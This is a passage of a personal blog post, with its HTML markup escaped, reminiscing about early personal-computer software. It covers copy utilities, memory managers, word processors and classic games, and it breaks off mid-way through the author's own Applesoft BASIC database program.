href="http://en.wikipedia.org/wiki/Copy_protection"&gt;Disk Copy  Utilities&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;All through the 1980's there was an arms race between software vendors and  software pirates. There were lots of highly sophisticated copy programs that  could do low-level copies and crack all manner of encoding schemes software  vendors would use for making their disks difficult to copy. On the Apple ][ and  C64, the disk drives were controlled by software, not hardware, and that allowed  for some especially ingenious tricks to make disks uncopyable. &lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/edd.part1"&gt;Essential Data  Duplicator&lt;/a&gt;, &lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/locksmith.5.0.txt"&gt;Locksmith&lt;/a&gt;,  &lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/disk.muncher.1"&gt;Disk  Muncher&lt;/a&gt;, and &lt;a href="http://www.apple2.org.za/gswv/a2zine/Docs/NibblesAwayIII.txt"&gt;Nibbles  Away&lt;/a&gt; were the three top software programs for analyzing and cracking disks  so they could be copied. These weren't simply little utilities...these were  major software packages, often complete with their own development environments  and programming languages. Breaking protected and encrypted software was a very  serious (and time-consuming) hobby for a great many computer geeks (including  me).&lt;br /&gt;&lt;br /&gt;As with song-swapping and movie pirating today, I can make good  arguments on both sides as to why this is or isn't harmful, why it should or  shouldn't be legal, and whether it is or isn't even possible to stop. But since  this issue has been with us since the late 70's, I just don't see it going away  anytime soon. We'll be fighting this one in the courts and in public opinion for  decades to come.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Beagle_Brothers"&gt;Beagle Brothers&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Sort of the "Apache" of the 1980's. They made every manner of cool and  useful software utility.  &lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Stac_Electronics"&gt;Stacker&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/DiskDoubler"&gt;DiskDoubler&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;For a brief couple of years in the PC revolution, hard drives were the most  expensive component of a computer, and hard drive space was a precious resource.  Stacker and DiskDoubler became two wildly popular software programs that would  transparently keep all the data on your drive compressed. Everyone used  them...to varying degrees of success or data corruption. :)  &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Memory Expanders and Extenders&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;The original 8088 CPU had a 20-bit address space, which meant it could  access only 1 megabyte of memory. When IBM build the first PC, they reserved the  top 384K of range for peripheral I/O and video, leaving a maximum usable memory  size of 640K for the IBM PC. Legend has it that Bill Gates claimed nobody would  ever need more than 640k. Whether Bill actually said that is a matter of debate,  but for certain a lot of people at IBM must have been thinking that. (Or they  thought the PC would go away in 2 years and be replaced by something completely  different.) As DOS programs grew, the 640K limit soon became too restricting,  and all manner of hackery and trickery was invented to expand the memory space  of the 8088. The first trick, called &lt;a href="http://en.wikipedia.org/wiki/Expanded_memory"&gt;Expanded Memory&lt;/a&gt;, allowed  access to the unused parts of the upper 384k reserve. The next trick, called &lt;a href="http://en.wikipedia.org/wiki/Extended_memory"&gt;Extended Memory&lt;/a&gt;, allowed  DOS to access memory ranges above 1MB...but only on &lt;a href="http://en.wikipedia.org/wiki/80286"&gt;Intel 80286&lt;/a&gt; and higher processors.  The most common expanded memory driver was called &lt;a href="http://en.wikipedia.org/wiki/EMM386"&gt;EMM386&lt;/a&gt;, and the most common  extended memory driver was called &lt;a href="http://en.wikipedia.org/wiki/HIMEM"&gt;HIMEM&lt;/a&gt;. Quarterdeck made a famous  memory manager called &lt;a href="http://en.wikipedia.org/wiki/QEMM"&gt;QEMM&lt;/a&gt;, but  then Microsoft countered with &lt;a href="http://www.easydos.com/memmaker.html"&gt;Memmaker&lt;/a&gt;, and built Memmaker  right into MS-DOS 6.0...this killing Quarterdeck's market share. &lt;br /&gt;&lt;br /&gt;Here is the general pattern:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A company  innovates something Microsoft doesn't have (because Microsoft NEVER innovates)&lt;/li&gt;&lt;li&gt;Microsoft makes their own version of this product, and builds it into the OS  that everyone has to buy anyway.&lt;/li&gt;&lt;li&gt;Microsoft's version may not even been as  good as the competition, but if it works, people will use it because it's "free".&lt;/li&gt;&lt;li&gt;Microsoft  slowly raises the price of their OS with each release to pay for all these  goodies.&lt;/li&gt;&lt;li&gt;Microsoft wins, and everybody thinks Microsoft is giving away these  programs for free.&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;I'm reminded of the scene in The Matrix where Morpheus is sparring with Neo and he says "Do you think that's air you're breathing right  now?" except the question I want asked is "Do you think that's free software you're running right now?"  Nothing in Windows is free: not the Browser, not the Media Player, not the CD Burner, not the folder compression, not anything.  Microsoft could be selling a $50 Operating System if you could buy these things separately...but you can't. &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/After_dark"&gt;After Dark Screen  Saver&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Atari made the first screen savers for the Atari 2600, Atari 400 and Atari  800. At the time there was some benefit to trying to prevent burn-in on older  CRT monitors. However, once screen savers hit the mainstream on Mac's and PC's,  the whole world just went NUTS over screen savers! There was the Star Trek  screen saver, the Garfield screen saver, the Duran Duran screen saver, the  Classic Car screen saver, and of course "After Dark" which was known for its  Flying Toasters screen saver. I can remember working at one job where we had a  server that would slow to a crawl after 30 minutes. Whenever the admins would go  look at the server, it would start running fast again. Then 30 minutes later it  would crawl again. The cause turned out to be...you guess it...a screen saver  that was kicking on every 30 minutes and doing complex 3-D animations.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/ProComm"&gt;Procomm&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The best modem terminal program ever made for the PC  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Proterm"&gt;Proterm&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The best modem terminal program ever made for the Apple  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/ASCII_Express"&gt;Ascii Express&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first full-featured modem terminal program for the Apple ][. It  supported a scroll-back buffer (ooooo!) and it could transfer files with X-Modem  or Kermit! (aaaaah!)  &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Pixiterm&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;I have no link references for this jewel. Pixterm was the first graphical  BBS software. Instead of sending text, it sent vector commands to draw graphics  on your screen. (You had to be running the Pixterm client to interpret these  commands.) You had pictures and graphical text combined. This was the first  glimpse of what the Web would eventually look like. Pixiterm was way ahead of  its time. &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Word Processors &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Vi"&gt;vi&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is an example of the power of a standard. Vi is sure not the best  editor there is, but it's the one that comes with every Unix/Linux OS. So if you  learn to do everything with vi, you can't go wrong.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.artscipub.com/history/magicwindow/"&gt;Magic Window&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A very, very early word processor. It was so old that it actually emulated  the behavior of a typewriter. Your cursor remained FIXED in the very center of  the screen at all times and the whole page would move right to left as you  typed. If you went up or down, the whole page moved up or down, but your cursor  never moved. It's actually a really neat way to edit a document, and probably  would feel 100% natural to someone used to using a typewriter.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Bank_Street_Writer"&gt;BankStreet  Writer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a very popular word processor for early computers. It was designed  for school kids, but its dead-simple interface also appealed to adults who were  otherwise intimidated by computers.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Emacs"&gt;EMACS&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The jokes was that EMACS stood for "Escape Meta Alt Control Shift", in  reference to EMACS's heavy reliance on complex function key sequences to  accomplish anything useful. If you could copy and paste a paragraph in EMACS,  then a &lt;a href="http://en.wikipedia.org/wiki/Fatality_%28Mortal_Kombat%29"&gt;Mortal  Kombat Fatality&lt;/a&gt; should be easy by comparison. &lt;/dd&gt;&lt;/dl&gt; &lt;h3&gt;The Golden Age of WYSIWYG Word Processors: 1988 - 1993 &lt;/h3&gt; &lt;p&gt;Once upon a time, there was competition among word processing software. There  was variety and choice. Today, there is only Microsoft Word and any free  software that can try to emulate Microsoft Word. &lt;/p&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/graphic-writer-iii/"&gt;Graphic  Writer //gs&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first graphical WYSIWYG word processor I ever used. It had all the basic  features you'd really need in a Word Processor. Since then, Word Processors has  increased in size by roughly 10,000%, while only adding maybe 20% more useful  features.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Wordstar"&gt;WordStar (for Windows  2.0)&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;WordStar is a serious OLD school word processor. It was one of the first. It  was originally a text-based word processor that used text markup to control  fonts and formatting...almost exactly like HTML.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Ami_Pro"&gt;AMI-Pro&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;An awesome word processor that stored documents in an readable and parsable  markup format. It was absolutely brilliant...right until Microsoft Word put them out of business.&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Wordperfect"&gt;WordPerfect 5.1,  WordPerfect 6&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the top-notch professional Word Processing software of its day.  It was pretty much THE standard for word processing in its day.  Now it's just another road kill on the monopoly highway to Redmond.&lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Games &lt;/h2&gt; &lt;p&gt;If I listed every game I've ever played, this would be a gigantic list. So  I've paired this down to the key games that were especially memberable. &lt;/p&gt; &lt;h3&gt;Text-only games &lt;/h3&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Decwar"&gt;DECWAR&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A text-based multi-player real time action game based on Star Trek. I kid you not. The game  would draw a text grid showing a character for your ship and other special  characters for other ships, and as fast as you could type commands to move, turn  or fire, they would happen. Faster typers won this game. Rich kids who had 1200  baud instead of 300 baud REALLY whooped up on everyone.  You could play Federation or Klingon, and you'd fly your ship around (by typing) and you could dock at bases and attack enemy ships.  You could also attack an enemy base and eventually convert it to a friendly base.  &lt;br /&gt;&lt;br /&gt;It was a surprisingly full featured game.  You could push your engines past their limits if you wanted to move really fast...but you risked burning them out by doing that.  You could just pretend that Scotty was yelling "They can't take much more of this!!"  Likewise you could crank your phasers past their limits too, and even ram into an enemy ship if you were really desperate.  Needless to say these battles were quite dramatic and exciting!  (And this was all in text!)&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Dungeon_%28computer_game%29"&gt;Dungeon&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the first RPG game. It was written in FORTRAN (seriously) and ran  on PDP-10 and PDP-11 computers. It was the precursor for Zork.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Rogue_%28computer_game%29"&gt;Rogue&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A text-based RPG game. My favorite version was a later derivative of Rogue  called &lt;a href="http://www.youtube.com/watch?v=Y4pWccQtTRc"&gt;Larn&lt;/a&gt;. This was a  really fun RPG game, and it was text-only. Really!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Muds"&gt;MUDs&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a text version of a massive multi-player RPG. It was just like  World Of Warcraft, except nothing was visual. Everything was described in text.  So, it required more imagination. But that made it fun! Since everything  happened real-time, you had to be a fast reader, and you had to pay attention!  Large battles could cause a mass of text to go whizzing by, and sometimes you  wouldn't notice you were in trouble. Sometimes you wouldn't even notice that you  had died! Often times I had to do a search of my scrollback buffer to find the  words "You died."  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Hunt_%28computer_game%29"&gt;Hunt&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The text equivalent of a first-person shooter. You walked around a maze that  you viewed from the top. Your character would be either a &lt; or &gt; or ^ or V  depending on which way you were facing and which direction you could see. People  could sneak up on you if you didn't happen to be looking in the direction they  were coming from. In the maze, there were ammunition packs you could pick up,  and you had weapons of various sizes that you used by pressing the keys 1  through 6. You moved about using the keyboard. If all of this sounds familiar,  it should, because this is exactly the way all first-person shooter games work  today.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Zork"&gt;Zork&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The Alpha and Omega of text adventures. Everyone is too spoiled by  eye-popping graphics for another text adventure to ever succeed. That's too bad.  &lt;/dd&gt;&lt;/dl&gt; &lt;h3&gt;Graphical games (in no particular order) &lt;/h3&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Sea_Dragon_%28computer_game%29"&gt;Sea  Dragon&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The was one of only two games ever that managed to produce speech through  the Apple ]['s 1-bit sound system.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.youtube.com/watch?v=MsZ0g6HE684&amp;amp;feature=related"&gt;Alien  Syndrome&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;You are fighting an alien race that apparently evolved from water balloons.  But that makes the game SO fun and playable! The aliens are super-easy to kill,  and when you shoot them they don't just die...they POP with a very satisfying  squishy sound!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Captain_Blood_%28video_game%29"&gt;Captain  Blood&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A highly original game with killer graphics and &lt;a href="http://www.youtube.com/watch?v=qN9VMFlhVV4"&gt;sound&lt;/a&gt;. This is also the  first Sci-Fi game to really acknowledge that the whole Universe does NOT speak  English. So, you spend a great deal of time in this game doing &lt;a href="http://www.youtube.com/watch?v=Hkpo4RBSqoU&amp;amp;feature"&gt;this&lt;/a&gt; and &lt;a href="http://www.youtube.com/watch?v=afk4kGhXtnI&amp;amp;feature=related"&gt;this&lt;/a&gt;.  You communicate using a symbolic language made of all these pictures. After  playing this game long enough, I became fluent in that language...and it messed  with my head. Someone would ask "How's it going Bert?" and I would think  something like "Gasaid lada lacdaf-lacdaf-lacdaf!" and then have to translate  THAT into English before speaking!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Sid_Meier%27s_Pirates%21"&gt;Pirates&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I'm attacking another ship, and my crew is down to 5 men, and the enemy crew  still consists of 250 men...but if I win a sword fight with their captain, the  250 crew surrenders in terror. Ya right. But it was still a highly original and  fun game. If you could master the sword fighting aspect of the game, you could  win any battle practically by yourself.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/alien-mind"&gt;Alien Mind&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This game was fun, but it was a SERIOUS downer. First of all, the intro  music is a sad song played in a minor key. That really sets the mood. You are on a space station that is overrun by aliens. (Well, really one big alien who sends lots of robots to attack you.) There are so many dead bodies laying around the space station that one of the skills you need to master in this game is running without tripping over them.  Every time you trip over a dead body it slows you down, and that's the last thing you want since you will spend the entirety of this game being chased by killer robots.  &lt;br /&gt;&lt;br/&gt;You have a friend who is on the space station and who is still alive, but you can't find him. You can only talk to him through secret messages he sends to  specific terminals in the station. Each message he sends is more desperate than the last. You hurry and hurry and hurry...and you finally find him...just in time to watch him DIE. You kill the final big alien and win the game, but you don't care. And then come the credits with yet another song in a minor key.  Thanks a lot Game!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.youtube.com/watch?v=ccTQizbg5Fo"&gt;Altered Beast&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The above link is kinda funny. This game was a cutting-edge side-scroller  for its day. It was so advanced that it distracted you from the fact that this  game is absolutely ridiculous. You kick monsters in the shin until they explode  and you kill white two-headed dogs to get steroid pills.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/thexder"&gt;Thexder&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Transformers meets &lt;a href="http://en.wikipedia.org/wiki/Bobobo-bo_Bo-bobo"&gt;Bobobo-bo Bo-bobo&lt;/a&gt;. You  could transform into either a plane or a robot, and for a while this seemed like  a pretty cool arcade game. But then the game became increasingly weird and  increasingly Japanese...and you would find yourself blasting through killer  olives and walls made of smiling top hats and all manner of stuff that didn't  make sense.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Castle_Wolfenstein"&gt;Castle  Wolfenstein&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is the game that started EVERYTHING. This silly game spawned &lt;a href="http://www.youtube.com/watch?v=J5riRi-3SUg"&gt;Wolfenstein 3D&lt;/a&gt;...which  spawned Doom and Quake and every other first-person shooter you've ever heard  of.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Bilestoad"&gt;Bilestoad&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Most bizarre, hilarious and scary game EVER! You try to escape each level by  using teleportation circles and flying discs, but you are hunted by an  axe-wielding killer robot. As the robot catches up to you, he appears as a dot  on your radar...closing in on you fast...all the while the song "In the Hall of  the Mountain King" is playing...which heightens the tension. If you can't find a  teleport disk or find a way to out-run him, you'll have to fight the robot. And  fighting the robot is surprisingly bloody and gory for an early 80's game.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Battle_Chess"&gt;Battle Chess&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This should make the list of "Top ten cool things mankind couldn't do before  computers were invented".  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Winter_Games"&gt;Winter Games &lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Summer_Games"&gt;Summer Games&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Sports games? On a COMPUTER? Actually, these were really fun games that were  huge hits...even if the only "sport" was finding out how fast you can type two  keys back and forth in rapid succession.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Ultima"&gt;Ultima I, II, III, IV&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;After Ultima 4, Ultima was no longer fun because it became TOO realistic. It  became as boring and tedious as real life. You had to deal with the weather,  sleep, becoming ill, earning money, replacing worn-out items, etc. Somewhere  along the way the game makers forgot that Ultimas were fun because they were  action games, not simulation games.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Rescue_raiders"&gt;Rescue Raiders&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;In this game, you command a military base...from a helicopter. The problem  is the enemy always has tons of surface-to-air missiles, so you can't fly your  helicopter up to the front line of the battle. This means all the best action is  always happening off screen where you can't see it. The solution? Cheat mode! In  cheat mode, this game is awesomely fun!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Dungeon_Master_%28computer_game%29"&gt;Dungeon  Master GS&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first 3D RPG game ever! It was absolutely incredible, and very well  written. Lots of fun. They are planning on making an &lt;a href="http://www.youtube.com/watch?v=LI93iXQTAc4&amp;amp;feature=related"&gt;updated  version of Dungeon Master&lt;/a&gt; for the XBox 360 and Playstation 3. I'll have to  check that out!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/bard-s-tale-i-tales-of-the-unknown-the"&gt;Bards  Tale&lt;/a&gt;, &lt;a href="http://www.whatisthe2gs.apple2.org.za/bard-s-tale-ii-the-destiny-knight-the"&gt;Bards  Tale 2: Destiny Knight&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Classic RPG games. Very popular and lots of fun.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Doom"&gt;Doom, Doom II, Doom III&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I was an avid online Doom II player around 1995. We did not play over the  internet (because the latency was too high), but rather we had to call up a  local site that hosted several Doom II servers. I was ranked #3 in the KC Metro  for a while, and then I finally beat the #2 guy three games in a row...and he  threw a severe temper tantrum and literally freaked out. I really thought he was  gonna hurt himself. I lost interest in the game after that.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Quake"&gt;Quake&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I never liked Quake as much as Doom, because Quake is too reliant on special  items. It's no longer a game of how well you can aim and move and shoot, but  rather how well you run around to all the secret locations and hog all the  power-pills and special abilities. With Doom II, all I needed was the &lt;a href="http://www.youtube.com/watch?v=tbCJ9_cpDrU"&gt;shotgun&lt;/a&gt;  and nothing else!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.klov.com/game_detail.php?game_id=10503"&gt;Xenophobe&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a really cool arcade game that was ported to many platforms. It had  really advanced graphics and sound and a good multi-player system...and that  makes it mind-boggling bizarre to know that Atari &lt;a href="http://www.youtube.com/watch?v=OqShRDSoV-w"&gt;ported this game to the Atari  2600&lt;/a&gt; in 1990!! If you remember Xenophobe, you have to click on that link  above. It's hilarious. I don't know how someone could seriously play this game  on the 2600. I mean...dang...why don't you port Quake to the Atari 2600 while  you are at it? It would be just about as playable.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Little_Computer_People"&gt;Little  Computer People&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first computer "pet"...sorta a precursor to "The Sims"  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Arkanoid"&gt;Arkanoid&lt;/a&gt;, &lt;a href="http://www.whatisthe2gs.apple2.org.za/arkanoid-ii"&gt;Arkanoid 2&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The game "Brickout" makes a brief but glorious comeback!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/the_fairway/game_pages/silent_service.html"&gt;Silent  Service&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;We played this alot in college. I won 8 cases of Dr. Pepper over a long  series of bets playing this game. :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/silpheed"&gt;Silpheed&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A cool shoot-em-up space game. This is one of many games where you  frequently dock with a re-supply ship...and you have to wonder...how did the  re-supply ship get here? How are they way ahead of me and just waiting? How come  I had to fight a whole space armada to get here and yet this MUCH larger supply  ship just cruised on in? Why don't I just ride inside the re-supply ships?  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/space-quest-i"&gt;Space  Quest&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The best (in my opinion) of the "Quest" series of games. (Police Quest,  Kings Quest, and Space Quest)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/task-force"&gt;Task Force&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Probably the best side-scrolling game ever made for the //GS. This is where  the superiority of the Amiga over the //GS was evident...because this game  maxxed out the //GS's abilities at 3200 colors, and yet it was still a notch  below the best the Amiga could do. The Amiga could turn its graphics up to 11!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/xenocide"&gt;Xenocide&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a really cool game that I couldn't possibly describe.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.whatisthe2gs.apple2.org.za/the_fairway/game_pages/zany_golf.html"&gt;Zany  Golf&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Along with Battle Chess, this should make some list of things we couldn't do  before computers. Every kid who plays miniature golf dreams of building courses  like these! &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Programming languages and development tools &lt;/h2&gt;Below are all the  programming languages I've used over the years, and where possible I have  included samples of actual code from my archive of programs I've written since  1979.   &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Integer_Basic"&gt;Integer Basic&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the very first programming language for the Apple ][. It was  written by Steve Wozniak himself. It was later replaced by a much slower (but  more feature-rich) version of BASIC written by Microsoft. I guess you could call  it "Vista Basic" :)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/AppleSoft_BASIC"&gt;Applesoft Basic&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The Microsoft Basic for the Apple computer. Like most programs for the Apple  ][, you could only do very basic things in BASIC, and most of the hard work had  to be done in Assembly.  Apple never had a good "in between" language like C.   They did have Pascal, but the runtime libraries were impractically large for a  64k machine with 140k disks.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;1  HIMEM: 32768 &lt;br /&gt;5  IF PEEK ( -16384) = 160 THEN END &lt;br /&gt;10 REM DATABASE &lt;br /&gt;15 PRINT CHR$(4);&amp;quot;BLOAD SEARCH.BIN&amp;quot; &lt;br /&gt;20 TEXT : HOME &lt;br /&gt;21 PRINT CHR$(12) &lt;br /&gt;30 INPUT &amp;quot;NAME OF WORK FILE : &amp;quot;;NAME$ &lt;br /&gt;63 PRINT CHR$(4);&amp;quot;OPEN &amp;quot;NAME$&amp;quot;.DATA&amp;quot;:PRINT CHR$(4);&amp;quot;READ &amp;quot;NAME$&amp;quot;.DATA&amp;quot; &lt;br /&gt;70 INPUT F &lt;br /&gt;71 ML = 0 &lt;br /&gt;72 FOR T = 1 TO F &lt;br /&gt;74 INPUT NF$(T): INPUT LF(T): ML = ML + LF(T): INPUT SP(T) &lt;br /&gt;80 NEXT &lt;br /&gt;85 POKE 32816, ML &lt;br /&gt;86 POKE 32801, F &lt;br /&gt;90 PRINT CHR$(4);&amp;quot;CLOSE &amp;quot;NAME$&amp;quot;.DATA&amp;quot;:PRINT CHR$(4);&amp;quot;OPEN &amp;quot;NAME$&amp;quot;,L&amp;quot;ML:PRINT CHR$(4);&amp;quot;READ &amp;quot;NAME$&amp;quot;,R0&amp;quot; &lt;br /&gt;95 INPUT N &lt;br /&gt;97 PRINT CHR$(4);&amp;quot;CLOSE &amp;quot;NAME$ &lt;br /&gt;98 DIM D$(F,100) &lt;br /&gt;99 MN = N &lt;br /&gt;100 TEXT:HOME &lt;br /&gt;101 PRINT CHR$(12) &lt;br /&gt;105 PRINT : PRINT N&amp;quot; RECORD IN CURRENT FILE&amp;quot; : PRINT &lt;br /&gt;110 PRINT &amp;quot;CHOOSE : &amp;quot; &lt;br /&gt;120 PRINT &amp;quot;(1) ADD TO CURRENT FILE&amp;quot; &lt;br /&gt;130 PRINT &amp;quot;(2) READ FROM CURRENT FILE&amp;quot; &lt;br /&gt;140 PRINT &amp;quot;(3) CREATE A NEW FILE&amp;quot; &lt;br /&gt;150 PRINT &amp;quot;(4) CHANGE CURRENT FILE&amp;quot; &lt;br /&gt;152 PRINT &amp;quot;(5) SORT/ALPHABETIZE A FILE&amp;quot; &lt;br /&gt;153 PRINT &amp;quot;(6) EDIT A FILE&amp;quot; &lt;br /&gt;154 PRINT &amp;quot;(7) RESET # OF RECORDS IN A FILE &lt;br /&gt;155 PRINT &amp;quot;(8) DELETE RECORDS FROM A FILE&amp;quot; &lt;br /&gt;160 PRINT &amp;quot;(9) SEARCH FOR LISTING&amp;quot; &lt;br /&gt;161 PRINT &amp;quot;(S) DETAILED SEARCH&amp;quot; &lt;br /&gt;162 PRINT &amp;quot;(Q) QUIT&amp;quot; &lt;br /&gt;164 PRINT:PRINT &amp;quot;WHICH : &amp;quot;;: GET A$ &lt;br /&gt;180 ON A GOTO 1000,2000,5000,6000,7000,6200,6300,6400,10000,7000 &lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;3000 REM DETAILED SEARCH &lt;br /&gt;3010 TEXT: HOME &lt;br /&gt;3020 PRINT &amp;quot;ENTER SEARCH STRING : &amp;quot;; &lt;br /&gt;3030 S$ = &amp;quot;&amp;quot; &lt;br /&gt;3040 CALL -657 &lt;br /&gt;3050 FOR X = 512 TO 766: IF PEEK(X) &amp;lt;&amp;gt; 141 THEN S$ = S$ + CHR$(PEEK(X) - 128) : NEXT X &lt;br /&gt;3060 A = 0: B = LEN(S$) &lt;br /&gt;3070 FOR T = 34048 TO 34304 &lt;br /&gt;3080 A = A + 1 &lt;br /&gt;3090 IF A &amp;gt; B THEN GOTO 3150 &lt;br /&gt;3100 POKE T, ASC(MID$(S$,A,1)) + 128 &lt;br /&gt;3110 NEXT T &lt;br /&gt;3150 POKE 32805,B &lt;br /&gt;3160 CALL 34560 &lt;br /&gt;3170 PRINT:PRINT &lt;br /&gt;3180 PRINT 